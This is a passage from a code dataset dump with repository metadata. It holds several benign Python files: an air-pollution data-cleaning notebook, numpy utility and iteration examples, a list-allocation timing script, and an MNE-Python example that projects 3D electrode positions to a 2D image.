'cumSnow', 'cumRain', 'x0_NE', 'x0_NW', 'x0_SE', 'x0_SW', 'pm2.5']\npollutionDF = pollutionDF[colnames]\npollutionDF.head()\n\n\n# ---\n\n# ##### Dataset without Outliers\n\n# In[29]:\n\n\nwindDirection_wo = OneHotEncoder()\nwindDirection_woDF = windDirection_wo.fit_transform(pollution2[['windDir']])\nwindDirection_woDF = pd.DataFrame(windDirection_woDF.toarray())\nwindDirection_woDF.columns = windDirection_wo.get_feature_names()\nwindDirection_woDF.head()\n\n\n# In[30]:\n\n\npollution2.drop(columns = ['windDir'], inplace = True)\npollution2.head()\n\n\n# In[31]:\n\n\npollution2DF = pd.concat([pollution2, windDirection_woDF], axis = 1)\npollution2DF.head()\n\n\n# In[32]:\n\n\ncolnames = ['month', 'dewTemp', 'temp', 'pres', 'windSpeed', 'cumSnow', 'cumRain', 'x0_NE', 'x0_NW', 'x0_SE', 'x0_SW', 'pm2.5']\npollution2DF = pollution2DF[colnames]\npollution2DF.head()\n\n\n# In[33]:\n\n\npollution2DF.shape\n\n\n# In[34]:\n\n\npollutionDF.shape\n\n\n# After one-hot encoding the variables for the datasets with and without outliers, it can be seen that the number of observations in both the dataframes have remained the same. However, the number of columns have increased because of the one-hot encoded columns.\n\n# ---\n\n# ## Visualizations\n# ##### Dataset with Outliers\n\n# #### Scatterplot\n# Let us explore if there are any outliers in this dataset with scatterplot:\n\n# In[37]:\n\n\nfig, ax = plt.subplots(4, 2, figsize = (10, 20))\n#fig.tight_layout()\n\nax[0,0].scatter(y = pollution['pm2.5'], x = pollution['month'])\nax[0,0].set_xlabel('Month')\nax[0,0].set_ylabel('PM2.5')\nax[0,0].set_title('Month v/s PM 2.5 levels')\n\nax[0, 1].scatter(y = pollution['pm2.5'], x = pollution['dewTemp'])\nax[0, 1].set_xlabel('Dew Point Temperature')\nax[0, 1].set_ylabel('PM2.5')\nax[0, 1].set_title('Dew Point v/s PM 2.5 levels')\n\nax[1,0].scatter(y = pollution['pm2.5'], x = pollution['temp'])\nax[1,0].set_xlabel('Temperture')\nax[1,0].set_ylabel('PM2.5')\nax[1,0].set_title('Temperature v/s PM 2.5 levels')\n\nax[1,1].scatter(y = pollution['pm2.5'], x = pollution['pres'])\nax[1,1].set_xlabel('Air Pressure')\nax[1,1].set_ylabel('PM2.5')\nax[1,1].set_title('Air Pressure v/s PM 2.5 levels')\n\nax[2,0].scatter(y = pollution['pm2.5'], x = pollution['windSpeed'])\nax[2,0].set_xlabel('Wind Speed')\nax[2,0].set_ylabel('PM2.5')\nax[2,0].set_title('Wind Speed v/s PM 2.5 levels')\n\nax[2,1].scatter(y = pollution['pm2.5'], x = pollution['cumSnow'])\nax[2,1].set_xlabel('Hours of Cumulated Snow')\nax[2,1].set_ylabel('PM2.5')\nax[2,1].set_title('Hours of Cumulated Snow v/s PM 2.5 levels')\n\nax[3,0].scatter(y = pollution['pm2.5'], x = pollution['cumRain'])\nax[3,0].set_xlabel('Hours of Cumulated Rain')\nax[3,0].set_ylabel('PM2.5')\nax[3,0].set_title('Hours of Cumulated Rain v/s PM 2.5 levels')\n\nplt.show()\n\n\n# Looking at the above dashboard, it is visible that there are a few outliers in the month, dew point, temperature, and air pressure variables. This is because there are a few points that have much higher pm2.5 levels for certain x-values. This shows that there are certain observations where there are exceptionally high levels of air pollution for a certain month in a year. Similarly, there are certain temperature, dew point temperature, and air pressure values for which there are exceptionally high air pollution levels. These high values of air pollution are probably influenced by external factors that were not controlled in this dataset. Hence, it is probably better to remove any outliers. However, let us see how many outliers there are in totality.\n# \n# The scatterplots of the wind speed, cumulated hours fo snow and rain are interesting because they follow a 'L' pattern because of which it is hard to distinguish if there are outliers. However, outliers in these variables will be able to be seen with the z-value calculations.\n\n# #### Box plot\n\n# In[38]:\n\n\nfig, ax = plt.subplots(4, 2, figsize = (10, 20))\nax[0,0].boxplot(x=pollution['month'])\nax[0,0].set_title('Month')\n\nax[0,1].boxplot(x=pollution['pm2.5'])\nax[0,1].set_title('PM2.5 Level')\n\nax[1,0].boxplot(x=pollution['dewTemp'])\nax[1,0].set_title('Dew Point Temperature')\n\nax[1,1].boxplot(x=pollution['temp'])\nax[1,1].set_title('Temperature')\n\nax[2,0].boxplot(x=pollution['pres'])\nax[2,0].set_title('Air Pressure') \n\nax[2,1].boxplot(x=pollution['windSpeed'])\nax[2,1].set_title('Wind Speed') \n\nax[3,0].boxplot(x=pollution['cumSnow'])\nax[3,0].set_title('Hours of Cumulative Snow') \n\nax[3,1].boxplot(x=pollution['cumRain'])\nax[3,1].set_title('Hours of Cumulative Rain') \n\nplt.show()\n\n\n# The boxplot above are before the outliers were removed. \n# \n# There are four variables that does not seem to show outliers, these variables are month, dew point temperature, temperature and air pressure. Although they seem to not have outliers, they do have some skewness which might indicate some higher-than-normal values.\n\n# ##### Dataset without outliers\n# #### Scatterplot\n\n# In[39]:\n\n\nfig, ax = plt.subplots(4, 2, figsize = (10, 20))\n#fig.tight_layout()\n\nax[0,0].scatter(y = pollution2['pm2.5'], x = pollution2['month'])\nax[0,0].set_xlabel('Month')\nax[0,0].set_ylabel('PM2.5')\nax[0,0].set_title('Month v/s PM 2.5 levels')\n\nax[0, 1].scatter(y = pollution2['pm2.5'], x = pollution2['dewTemp'])\nax[0, 1].set_xlabel('Dew Point Temperature')\nax[0, 1].set_ylabel('PM2.5')\nax[0, 1].set_title('Dew Point v/s PM 2.5 levels')\n\nax[1,0].scatter(y = pollution2['pm2.5'], x = pollution2['temp'])\nax[1,0].set_xlabel('Temperture')\nax[1,0].set_ylabel('PM2.5')\nax[1,0].set_title('Temperature v/s PM 2.5 levels')\n\nax[1,1].scatter(y = pollution2['pm2.5'], x = pollution2['pres'])\nax[1,1].set_xlabel('Air Pressure')\nax[1,1].set_ylabel('PM2.5')\nax[1,1].set_title('Air Pressure v/s PM 2.5 levels')\n\nax[2,1].scatter(y = pollution2['pm2.5'], x = pollution2['windSpeed'])\nax[2,1].set_xlabel('Wind Speed')\nax[2,1].set_ylabel('PM2.5')\nax[2,1].set_title('Wind Speed v/s PM 2.5 levels')\n\nax[3,0].scatter(y = pollution2['pm2.5'], x = pollution2['cumSnow'])\nax[3,0].set_xlabel('Hours of Cumulated Snow')\nax[3,0].set_ylabel('PM2.5')\nax[3,0].set_title('Hours of Cumulated Snow v/s PM 2.5 levels')\n\nax[3,1].scatter(y = pollution2['pm2.5'], x = pollution2['cumRain'])\nax[3,1].set_xlabel('Hours of Cumulated Rain')\nax[3,1].set_ylabel('PM2.5')\nax[3,1].set_title('Hours of Cumulated Rain v/s PM 2.5 levels')\n\nplt.show()\n\n\n# The scatterplot above is visualizing the dataset after the outliers are removed. Due to the large dataset, the plot in the dataset seem to be cluster and does not appears to show linear correlation between variables\n# \n# The graph between Temperature v/s PM2.5 level and the Air Pressure v/s PM2.5 level appears to be very interesting as they seem to follow the same pattern. Both are clustered in the middle. While the Wind Speed v/s PM 2.5 Level appears to cluster more to the left and the Dew Point v/s PM2.5 Level are the opposite, it clusters more to the left\n# \n\n# #### Box plot\n\n# In[41]:\n\n\nfig, ax = plt.subplots(4, 2, figsize = (10, 20))\nax[0,0].boxplot(x=pollution2['month'])\nax[0,0].set_title('Month')\n\nax[0,1].boxplot(x=pollution2['pm2.5'])\nax[0,1].set_title('PM2.5 Level')\n\nax[1,0].boxplot(x=pollution2['dewTemp'])\nax[1,0].set_title('Dew Point Temperature')\n\nax[1,1].boxplot(x=pollution2['temp'])\nax[1,1].set_title('Temperature')\n\nax[2,0].boxplot(x=pollution2['pres'])\nax[2,0].set_title('Air Pressure') \n\nax[2,1].boxplot(x=pollution2['windSpeed'])\nax[2,1].set_title('Wind Speed') \n\nax[3,0].boxplot(x=pollution2['cumSnow'])\nax[3,0].set_title('Hours of Cummulative Snow') \n\nax[3,1].boxplot(x=pollution2['cumRain'])\nax[3,1].set_title('Hours of Cummulative Rain') \n\nplt.show()\n\n\n# The boxplot above are after the ouliers removed. Similar to the previous boxplot with outlier the variables month, dew point temperature, temperature and air pressure still does not show any outliers. \n# \n# There are some variables that shows some adjustments or changes without the outliers. Both Hours of Cummulative Snow and Hours of Cummulative rain seems to show less points. These changes are also seen in PM2.5 level and Wind Speed\n\n# ---\n\n# ## Scaling Numerical Features\n\n# ##### Dataset with Outliers\n\n# In[42]:\n\n\npollutionDF.columns\n\n\n# In[43]:\n\n\nfrom sklearn.preprocessing import StandardScaler\n\ncols = ['month', 'dewTemp', 'temp', 'pres', 'windSpeed', 'cumSnow', 'cumRain']\nscaler = StandardScaler()\npollutionDF[cols] = scaler.fit_transform(pollutionDF[cols])\npollutionDF.head()\n\n\n# ---\n\n# ##### Dataset without outliers\n\n# In[44]:\n\n\npollution2DF.columns\n\n\n# In[45]:\n\n\ncols = ['month', 'dewTemp', 'temp', 'pres', 'windSpeed', 'cumSnow', 'cumRain']\nscaler = StandardScaler()\npollution2DF[cols] = scaler.fit_transform(pollution2DF[cols])\npollution2DF.head()\n\n\n# We standardized the dataset with and without outliers. This is because we wanted to bring all the numerical values to the same scale. We standardized it instead of normalize the datasets because it would let us know how many standard deviations the observations are from the mean. \n# \n# We chose not to standardize the dependent variable for ease of interpretation.\n\n# ---\n\n# We have completed the process of cleaning our data and preparing it for the regression analysis and visualizations (storytelling).\n\n# In[46]:\n\n\npollutionDF.to_excel('pollution_outliers.xlsx')\npollution2DF.to_excel('pollution_NoOutliers.xlsx')\n\n\n# ---\n\n# ### Let us now move on to Data Analysis\n", "meta": {"hexsha": "c79e7e93a472c6cd1b41798fd74e57e5aa0dff83", "size": 15639, "ext": "py", "lang": "Python", "max_stars_repo_path": "Part2_Data_Cleaning.py", "max_stars_repo_name": "sverma1012/pollution", "max_stars_repo_head_hexsha": "c85208ca363f7458d95d560446ddf9f708ce45f1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Part2_Data_Cleaning.py", "max_issues_repo_name": "sverma1012/pollution", "max_issues_repo_head_hexsha": "c85208ca363f7458d95d560446ddf9f708ce45f1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Part2_Data_Cleaning.py", "max_forks_repo_name": "sverma1012/pollution", "max_forks_repo_head_hexsha": "c85208ca363f7458d95d560446ddf9f708ce45f1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.8770053476, "max_line_length": 761, "alphanum_fraction": 0.719675171, "include": true, "reason": "import numpy,from scipy", "num_tokens": 4393, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.1602660323277607, "lm_q1q2_score": 0.07016823506289}}
{"text": "import numpy as np\r\nimport numbers\r\n\r\ndef check_random_state(seed):\r\n    \"\"\"Turn seed into a np.random.RandomState instance\r\n    \"\"\"\r\n    if seed is None or seed is np.random:\r\n        return np.random.mtrand._rand\r\n    if isinstance(seed, (numbers.Integral, np.integer)):\r\n        return np.random.RandomState(seed)\r\n    if isinstance(seed, np.random.RandomState):\r\n        return seed\r\n    raise ValueError(\"%r cannot to used to seed a numpy.random \\\r\n        RandomState instance\" % seed)", "meta": {"hexsha": "00c459314eea2c89e9306faef26d8adfef366ef0", "size": 491, "ext": "py", "lang": "Python", "max_stars_repo_path": "TutorML/utils/utils.py", "max_stars_repo_name": "PanJianning/TutorML", "max_stars_repo_head_hexsha": "f87cbcf4cdfc490338a995dce78a9fc6f5d518ae", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2018-08-14T06:55:40.000Z", "max_stars_repo_stars_event_max_datetime": "2018-08-14T06:55:40.000Z", "max_issues_repo_path": "TutorML/utils/utils.py", "max_issues_repo_name": "PanJianning/TutorML", "max_issues_repo_head_hexsha": "f87cbcf4cdfc490338a995dce78a9fc6f5d518ae", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "TutorML/utils/utils.py", "max_forks_repo_name": "PanJianning/TutorML", "max_forks_repo_head_hexsha": "f87cbcf4cdfc490338a995dce78a9fc6f5d518ae", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.0714285714, "max_line_length": 65, "alphanum_fraction": 0.6700610998, "include": true, "reason": "import numpy", "num_tokens": 105, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1403362422992606, "lm_q1q2_score": 0.0701681211496303}}
{"text": "#!usr/bin/env python3\nfrom timeit import timeit\n\n# When you create a list and append to it, Python needs to reallocate memory\n# for the list. To avoid reallocation on every append, the list grows in fixed\n# sizes. The sizes are zero, four, eight, 16, 25, etc. However, when we create\n# a list with multiplication, Python knows the size of the list in advance\n# and creates it in one allocation.\n# ATTENTION!\n# Python because everything is a reference, this might have a surprising\n# effect, look the example of the empty list.\n# Make sure you initialized with immutable volumes, like numbers, strings,\n# and tuples, otherwise you will have to get back to our initial\n# implementation.\n# The best option would be to use numpy which creates ultra fast arrays\nimport numpy\n\n\ndef alloc_list(size):\n    \"\"\"Alloc zeros with range\"\"\"\n    return [0 for _ in range(size)]\n\n\ndef alloc_list_fixed(size):\n    \"\"\"Alloc zeros with *\"\"\"\n    return [0] * size\n\n\nif __name__ == '__main__':\n    print([1, 2, 3] * 3)\n    my_list = [[]] * 5\n    print(my_list)\n    my_list[0].append(1)\n    print(my_list)\n\n    print('allocating a list with loop',\n          timeit('alloc_list(100)', 'from __main__ import alloc_list'))\n    print('allocating a list with *',\n          timeit('alloc_list_fixed(100)',\n                 'from __main__ import alloc_list_fixed'))\n    print('allocating a list with numpy',\n          timeit('numpy.zeros(100)',\n                 'from __main__ import numpy'))\n\n# 0.6352753790000003/3.813065881 = 0.1666048788103801.\n# we gain about 85% speed-up. The latter is about 6 times faster.\n\n# CONSOLE OUTPUT:\n# [1, 2, 3, 1, 2, 3, 1, 2, 3]\n# [[], [], [], [], []]\n# [[1], [1], [1], [1], [1]]\n# allocating a list with loop 3.813065881\n# allocating a list with * 0.6352753790000003\n# allocating a list with numpy 1.0309689520000003\n\n# In [7]: %run -n src/list_allocation.py\n#\n# In [8]: %timeit alloc_list(1000)\n# 40.7 \u00b5s \u00b1 3.57 \u00b5s per loop (mean \u00b1 std. dev. of 7 runs, 10000 loops each)\n#\n# In [9]: %timeit alloc_list_fixed(1000)\n# 2.5 \u00b5s \u00b1 84.3 ns per loop (mean \u00b1 std. dev. of 7 runs, 100000 loops each)\n#\n# In [10]: import numpy\n#\n# In [11]: %timeit numpy.zeros(1000)\n# 1.31 \u00b5s \u00b1 11.6 ns per loop (mean \u00b1 std. dev. of 7 runs, 1000000 loops each)\n", "meta": {"hexsha": "7f528fa7bdcfbf9351f02073ca6de0bdd035d625", "size": 2241, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/list_allocation.py", "max_stars_repo_name": "ariannasg/optimizing-python", "max_stars_repo_head_hexsha": "e6c307dc694bc98c776faea1dbd7f420c2928f64", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/list_allocation.py", "max_issues_repo_name": "ariannasg/optimizing-python", "max_issues_repo_head_hexsha": "e6c307dc694bc98c776faea1dbd7f420c2928f64", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/list_allocation.py", "max_forks_repo_name": "ariannasg/optimizing-python", "max_forks_repo_head_hexsha": "e6c307dc694bc98c776faea1dbd7f420c2928f64", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.9558823529, "max_line_length": 78, "alphanum_fraction": 0.6675591254, "include": true, "reason": "import numpy", "num_tokens": 682, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.14223190228178134, "lm_q1q2_score": 0.07000485482409233}}
{"text": "import numpy as np\n\n# iterating over 1D array\narr1 = np.array([1, 2, 3])\nfor x in arr1:\n    print(x)\n\nprint('-'*20)\n\n# iterating over 2D array\narr2 = np.array([[1, 2, 3], [1, 2, 3], [1, 2, 3]])\nfor x in arr2:\n    print(x)\n\nprint('-'*20)\n\n# iterate on each scaler element\nfor x in arr2:\n    for y in x:\n        print(y)\n\n# iterating over 3D array\narr3 = np.array([[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]])\n\nfor x in arr3:\n    print(x)\n# Iterate down to the scalars:\n\nfor x in arr3:\n    for y in x:\n        for z in y:\n            print(z)\n\n## Iterating Arrays Using nditer()\narr3 = np.array([[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]])\nfor x in np.nditer(arr3):\n    print(x)\n\n## Iterating Array With Different Data Types\narr1 = np.array([1, 2, 3])\n\nfor x in np.nditer(arr1, flags=['buffered'], op_dtypes=['S']):\n    print(x)\n\n## Iterating With Different Step Size\n\narr2 = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])\nfor x in np.nditer(arr2[:, ::2]):\n    print(x)\n\n## Enumerated Iteration Using ndenumerate()\n\narr1 = np.array([[1, 2, 3, 4, 5, 6, 7, 8]])\nfor idx, x in np.ndenumerate(arr1):\n    print(idx, \" \", x)\n\n## ndenumerate() a 2D array\n\narr2 = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])\nfor idx, x in np.ndenumerate(arr2):\n    print(idx, x)", "meta": {"hexsha": "7a1a03a136e344b87a446837e897660e99dc06bb", "size": 1253, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python Library/NumPy/iterating.py", "max_stars_repo_name": "hammad1201/Hacktoberfest-2021", "max_stars_repo_head_hexsha": "b4b86792755c7b86d5bcc94ac8159d8825ed169e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 27, "max_stars_repo_stars_event_min_datetime": "2020-10-19T10:45:34.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-16T13:02:59.000Z", "max_issues_repo_path": "Python Library/NumPy/iterating.py", "max_issues_repo_name": "hammad1201/Hacktoberfest-2021", "max_issues_repo_head_hexsha": "b4b86792755c7b86d5bcc94ac8159d8825ed169e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 165, "max_issues_repo_issues_event_min_datetime": "2020-10-19T08:49:46.000Z", "max_issues_repo_issues_event_max_datetime": "2021-10-19T05:14:28.000Z", "max_forks_repo_path": "Python Library/NumPy/iterating.py", "max_forks_repo_name": "hammad1201/Hacktoberfest-2021", "max_forks_repo_head_hexsha": "b4b86792755c7b86d5bcc94ac8159d8825ed169e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 82, "max_forks_repo_forks_event_min_datetime": "2020-10-19T08:16:33.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-19T05:31:03.000Z", "avg_line_length": 20.5409836066, "max_line_length": 68, "alphanum_fraction": 0.5650438947, "include": true, "reason": "import numpy", "num_tokens": 489, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.14223190046381007, "lm_q1q2_score": 0.07000485392930843}}
{"text": "\"\"\"\n.. _ex-electrode-pos-2d:\n\n====================================================\nHow to convert 3D electrode positions to a 2D image.\n====================================================\n\nSometimes we want to convert a 3D representation of electrodes into a 2D\nimage. For example, if we are using electrocorticography it is common to\ncreate scatterplots on top of a brain, with each point representing an\nelectrode.\n\nIn this example, we'll show two ways of doing this in MNE-Python. First,\nif we have the 3D locations of each electrode then we can use Mayavi to\ntake a snapshot of a view of the brain. If we do not have these 3D locations,\nand only have a 2D image of the electrodes on the brain, we can use the\n:class:`mne.viz.ClickableImage` class to choose our own electrode positions\non the image.\n\"\"\"\n# Authors: Christopher Holdgraf <choldgraf@berkeley.edu>\n#          Alex Rockhill        <aprockhill@mailbox.org>\n#\n# License: BSD-3-Clause\n\n# %%\nfrom mne.io.fiff.raw import read_raw_fif\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom os import path as op\n\nimport mne\nfrom mne.viz import ClickableImage  # noqa: F401\nfrom mne.viz import (plot_alignment, snapshot_brain_montage, set_3d_view)\n\nmisc_path = mne.datasets.misc.data_path()\necog_data_fname = op.join(misc_path, 'ecog', 'sample_ecog_ieeg.fif')\nsubjects_dir = op.join(misc_path, 'ecog')\n\n# We've already clicked and exported\nlayout_path = op.join(op.dirname(mne.__file__), 'data', 'image')\nlayout_name = 'custom_layout.lout'\n\n# %%\n# Load data\n# ---------\n#\n# First we will load a sample ECoG dataset which we'll use for generating\n# a 2D snapshot.\n\nraw = read_raw_fif(ecog_data_fname)\nraw.pick_channels([f'G{i}' for i in range(1, 257)])  # pick just one grid\n\n# Since we loaded in the ecog data from FIF, the coordinates\n# are in 'head' space, but we actually want them in 'mri' space.\n# So we will apply the head->mri transform that was used when\n# generating the dataset (the estimated head->mri transform).\nmontage = raw.get_montage()\ntrans = mne.coreg.estimate_head_mri_t('sample_ecog', subjects_dir)\nmontage.apply_trans(trans)\n\n# %%\n# Project 3D electrodes to a 2D snapshot\n# --------------------------------------\n#\n# Because we have the 3D location of each electrode, we can use the\n# :func:`mne.viz.snapshot_brain_montage` function to return a 2D image along\n# with the electrode positions on that image. We use this in conjunction with\n# :func:`mne.viz.plot_alignment`, which visualizes electrode positions.\n\nfig = plot_alignment(raw.info, trans=trans, subject='sample_ecog',\n                     subjects_dir=subjects_dir, surfaces=dict(pial=0.9))\nset_3d_view(figure=fig, azimuth=20, elevation=80)\nxy, im = snapshot_brain_montage(fig, raw.info)\n\n# Convert from a dictionary to array to plot\nxy_pts = np.vstack([xy[ch] for ch in raw.ch_names])\n\n# Compute beta power to visualize\nraw.load_data()\nbeta_power = raw.filter(20, 30).apply_hilbert(envelope=True).get_data()\nbeta_power = beta_power.max(axis=1)  # take maximum over time\n\n# This allows us to use matplotlib to create arbitrary 2d scatterplots\nfig2, ax = plt.subplots(figsize=(10, 10))\nax.imshow(im)\ncmap = ax.scatter(*xy_pts.T, c=beta_power, s=100, cmap='coolwarm')\ncbar = fig2.colorbar(cmap)\ncbar.ax.set_ylabel('Beta Power')\nax.set_axis_off()\n\n# fig2.savefig('./brain.png', bbox_inches='tight')  # For ClickableImage\n\n# %%\n# Manually creating 2D electrode positions\n# ----------------------------------------\n#\n# If we don't have the 3D electrode positions then we can still create a\n# 2D representation of the electrodes. Assuming that you can see the electrodes\n# on the 2D image, we can use :class:`mne.viz.ClickableImage` to open the image\n# interactively. You can click points on the image and the x/y coordinate will\n# be stored.\n#\n# We'll open an image file, then use ClickableImage to\n# return 2D locations of mouse clicks (or load a file already created).\n# Then, we'll return these xy positions as a layout for use with plotting topo\n# maps.\n\n\n# This code opens the image so you can click on it. Commented out\n# because we've stored the clicks as a layout file already.\n\n# # The click coordinates are stored as a list of tuples\n# im = plt.imread('./brain.png')\n# click = ClickableImage(im)\n# click.plot_clicks()\n\n# # Generate a layout from our clicks and normalize by the image\n# print('Generating and saving layout...')\n# lt = click.to_layout()\n# lt.save(op.join(layout_path, layout_name))  # save if we want\n\n# # We've already got the layout, load it\nlt = mne.channels.read_layout(layout_name, path=layout_path, scale=False)\nx = lt.pos[:, 0] * float(im.shape[1])\ny = (1 - lt.pos[:, 1]) * float(im.shape[0])  # Flip the y-position\nfig, ax = plt.subplots()\nax.imshow(im)\nax.scatter(x, y, s=80, color='r')\nfig.tight_layout()\nax.set_axis_off()\n", "meta": {"hexsha": "be6f98f80e6e4f00e1aa3bcae743b0bf56b9c592", "size": 4799, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/visualization/3d_to_2d.py", "max_stars_repo_name": "NeuroLaunch/mne-python", "max_stars_repo_head_hexsha": "6c9fca05e49f23da2794f4a5f112e90f6552e882", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/visualization/3d_to_2d.py", "max_issues_repo_name": "NeuroLaunch/mne-python", "max_issues_repo_head_hexsha": "6c9fca05e49f23da2794f4a5f112e90f6552e882", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/visualization/3d_to_2d.py", "max_forks_repo_name": "NeuroLaunch/mne-python", "max_forks_repo_head_hexsha": "6c9fca05e49f23da2794f4a5f112e90f6552e882", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.6335877863, "max_line_length": 79, "alphanum_fraction": 0.7120233382, "include": true, "reason": "import numpy", "num_tokens": 1269, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.33807711081162, "lm_q2_score": 0.20689404637077294, "lm_q1q2_score": 0.06994614144115625}}
{"text": "import numpy as np\r\nimport copy \r\n\r\nnx=5\r\nh=np.zeros([nx]);hn=np.zeros([nx])\r\nprint(id(h),id(hn))\r\n\r\n\r\nh[:]=10.\r\n\r\nhn=h               # hn\u3068h\u306eID\u304c\u5171\u6709\u3055\u308c\u3066\u3057\u307e\u3046 ---->\u3053\u308c\u3060\u3068\u30e4\u30d0\u3044\r\nprint(id(h),id(hn))\r\nhn=copy.copy(h)    # hn\u306e\u5225\u306eID\u304c\u5272\u308a\u5f53\u3066\u3089\u308c\u308b ---->OK\r\nprint(id(h),id(hn))\r\nfor i in np.arange(0,nx):  #\u3053\u308c\u3067\u3082 OK\r\n    hn[i]=h[i]\r\n\r\nhn[:]=h[:]+10     #\u3053\u308c\u3067\u3082OK\r\n\r\nprint('h=',h)\r\nprint('hn=',hn)\r\n\r\nhn[3]=100.\r\nprint('h=',h)\r\nprint('hn=',hn)\r\n\r\n\r\na=np.ones(5)\r\nb=a\r\nb[2]=100\r\nprint(a,b)\r\n", "meta": {"hexsha": "963a846061db6933a7b9a4b3cb08d11b97c7e97f", "size": 462, "ext": "py", "lang": "Python", "max_stars_repo_path": "cptest.py", "max_stars_repo_name": "computational-sediment-hyd/2DH_Python", "max_stars_repo_head_hexsha": "38acbf615d48c8a8b8817cffc9869b678d318f69", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "cptest.py", "max_issues_repo_name": "computational-sediment-hyd/2DH_Python", "max_issues_repo_head_hexsha": "38acbf615d48c8a8b8817cffc9869b678d318f69", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cptest.py", "max_forks_repo_name": "computational-sediment-hyd/2DH_Python", "max_forks_repo_head_hexsha": "38acbf615d48c8a8b8817cffc9869b678d318f69", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-01-02T05:26:24.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-02T05:26:24.000Z", "avg_line_length": 14.4375, "max_line_length": 51, "alphanum_fraction": 0.5216450216, "include": true, "reason": "import numpy", "num_tokens": 193, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356685373537454, "lm_q2_score": 0.1732882016598637, "lm_q1q2_score": 0.0699333743333323}}
{"text": "import numpy as np\r\n\r\n\r\ndef _ensure_matrix(x):\r\n    \"\"\"\r\n    Ensures the vector/matrix `x` is in matrix format.\r\n\r\n    Parameters\r\n    ----------\r\n    x : array_like, shape (n,)\r\n        Vector or matrix.\r\n\r\n    Returns\r\n    -------\r\n    x : array_like, shape (m, p)\r\n        Matrix.\r\n    \"\"\"\r\n\r\n    x = np.array(x)\r\n\r\n    if x.ndim == 1:\r\n        x = np.reshape(x, (x.size, 1))\r\n    elif x.ndim > 2:\r\n        raise ValueError('`x` must be of dimension 1 or 2.')\r\n\r\n    return x", "meta": {"hexsha": "04cd7b4777bfe9d0b76d139c21b38fed298b256f", "size": 478, "ext": "py", "lang": "Python", "max_stars_repo_path": "modpy/proxy/_proxy_util.py", "max_stars_repo_name": "FrederikLehn/modpy", "max_stars_repo_head_hexsha": "19ab18547e06e93fabfbd7f7b2f0f07ff0e70db3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "modpy/proxy/_proxy_util.py", "max_issues_repo_name": "FrederikLehn/modpy", "max_issues_repo_head_hexsha": "19ab18547e06e93fabfbd7f7b2f0f07ff0e70db3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "modpy/proxy/_proxy_util.py", "max_forks_repo_name": "FrederikLehn/modpy", "max_forks_repo_head_hexsha": 